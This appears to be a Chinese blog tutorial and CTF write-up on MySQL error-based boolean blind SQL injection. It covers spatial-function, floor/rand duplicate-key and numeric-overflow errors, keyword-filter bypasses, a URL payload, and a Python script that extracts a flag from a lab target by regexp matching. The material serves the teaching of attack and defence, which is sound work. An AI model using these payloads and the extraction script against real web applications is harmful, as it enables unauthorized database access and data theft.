一种基于运行错误的Bool型盲注原理剖析
前言
文章首发于i春秋
老规矩,我已经将靶机封装到Docker镜像中供各位观众姥爷们食用。
靶机Docker镜像:gqleung/spatial_functions_blind_inject
什么是基于运行错误的Bool型盲注
?
简单的说就是它能够通过MYSQL解释器检查,但是运行时候又会产生错的函数。我们可以用它来进行布尔型盲注。我们下面就来讲解一下一些能够通过MYSQL解释器的预检查却在运行时候出现错误的SQL函数。
Spatial Functions
ST_GeomFromText
、ST_MPointFromText
是两个可以从文本
中解析Spatial function的函数,如果我们的语法各方面都复合mysql的规则,如果我们在解析文本中做手脚呢?MYSQL解释器不会检查一个字符串是否复合MYSQL语法要求,很明显这样我们就可以绕过MYSQL预检查,但是在运行时候又「恰逢其时」地出错,这样我们就可以进行Bool盲注了。需要注意的是ST_GeomFromText
针对的是POINT()
函数,ST_MPointFromText
针对的是MULTIPOINT()
函数的。
以ST_GeomFromText
为例:
例如构造如下SQL语句,很明显POINT函数传入的必须是GIS中的地理坐标的数据类型,这里写入的是一个常量或者undefined类型,但是他却能正常运行。
mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
+---------------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0) |
+---------------------------------------------------+
| 0 |
+---------------------------------------------------+
1 row in set (0.00 sec)
假设我们将if
的表达式改成false
呢,很明显会执行中间的参数,POINT的数据类型错误会导致报错。
mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
- 注意在Mysql5.7.6以上版本 ST_X、ST_GeomFromText已经被弃用,使用
ST_GeomFromText('POINT(mads)')
代替即可
总结,其他可用的函数:
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);
我们再来看我们的靶机(Docker镜像:gqleung/tmd_sz_fsl)
经过fuzz可以发现这个靶机不论参数传递数字都是会返回同一张图,但是如果存在被ban掉的字符会返回如下图:
我们可以借此FUZZ出被ban掉的关键字:
union、*、'、"、substr、mid、=、like、into、file、sleep、benchmark、 、^、or、、、、&、>、<、#、-、ascii、ord、floor、extractvalue、updatexml、if、rp、rep、GET_LOCK、info
这里过滤了空格,这里可以直接用
\t
来代替空格,URL编码后是%09,在写脚本时候可以使用TAB键来代替。过滤了单双引号,可以使用十六进制来代替字符串。
过滤了
if
可以使用case when....then....else...end
代替过滤了等于号、大于、小于、减号、like、我们可以使用正则表达式来判断也就是regexp
我们通过上面所讲解的ST_GeomFromText
,结合上述过滤考点,构造如下payload,当然空格要用%09代替。
index.php?cat=1%09and%09IF(0,ST_X(ST_GeomFromText(0x504F494E54286D61647329)),0)
如果if表达式为false可以发现返回正常的页面:
若if表达式为true,那么将会返回运行错误的页面:
据此编写Python脚本:
#author:Gqleung
#Email: admin@plasf.cn
#blog: http://www.plasf.cn
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result
url = "http://47.98.234.232:28076/index.php?cat="
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
result=""
for i in range(1,70):
for j in tables:
if j =="{" or j=="}":
j='\\'+j
payload = "1 and IF((select flag from flag) regexp binary %s, ST_X(ST_GeomFromText(0x504F494E54286D61647329)), 0)"%(ord2hex("^"+result+j))
r = requests.get(url+payload);
if 'cat' not in r.text:
result=result+j
print(result.replace('\\',''))
break
运行结果:
FLOOR(X)
咱们先了解主键重复报错注入的原理
主键重复报错注入
FLOOR(X)
该函数返回X的最大整数值,但不能大于X,也就是向下取整。
例如,下列语句5.20返回的值将会是5.
select floor(5.20)
我们先来看Payload再来分析其中的原理
select count(*),(concat(floor(rand(0)*2),(select user())))x from user group by x;
- Q1为什么用
floor(rand(0)*2)
?
要回答这个问题,必须从floor报错注入的原理理解:
例如,user()中含有五条数据:
select rand() from user
可以发现会随机生成小于0的随机数。当然rand()*2
生成0-1
的随机数
加上floor就是取整。会生成0或者1的随机值:
但是为什么用rand(0)呢?
Rand()两次运行的结果,可以明显地看到rand()产生的结果是随机的。
Rand(0)两次运行的结果,可以发现两次运行的结果完全一致,说明rand(0)
是伪随机的。
我们再来了解一下group by
的运作过程。
GROUP BY 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。
例如:如下SQL语句:
select id as "number", contents as "内容" from cat group by number
执行该sql语句会生成一个新的虚拟表,group by 即指定虚拟表中的对应字段来作为主键。
我们知道主键只能是唯一的,如果主键出现重复的情况就会发生报错,将重复的主键输出在报错信息中,我们回过头来看报错注入的Payload.
select count(*),(concat(floor(rand(0)*2),(select user())))x from user group by x;
我们看到这里以x 为主键,rand(0)*2
生成0-2之间的伪随机数,同时使用floor
来取整,出现的只能是值为0或者1(当然前提是表所存储的记录条数要>3条才有可能重复)。使用concat
将要查询的内容拼接入主键,这样在报错时会将咱们想要的内容作为报错信息输出。
例如:
注:输出字符长度限制为64个字符
我们了解完FLOOR(X)报错注入原理后开始从FLOOR(X)报错注入盲注来简述其中的道理,我们直接从payload来看:
select count(*),floor(rand(0)*2)x from cat group by if(1,x,0);
我们知道floor(rand(0)*2)产生的随机数是伪随机数范围在0-1,如果将其参数的结果作为主键就会造成报错,假设我们用if
语句来控制x是否作为主键呢?这就有可能造成不报错的情况,用此来作为报错注入盲注。通常情况与Spatial Functions报错注入盲注类似。
mysql> select count(*),floor(rand(0)*2)x from cat group by if(1,x,0);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*),floor(rand(0)*2)x from cat group by if(0,x,0);
+----------+---+
| count(*) | x |
+----------+---+
| 2 | 0 |
+----------+---+
1 row in set (0.00 sec)
数据溢出型
在报错注入中数据溢出的函数同样可用如下。
mysql> select pow(2,1024);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)'
mysql> select cot(0);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
###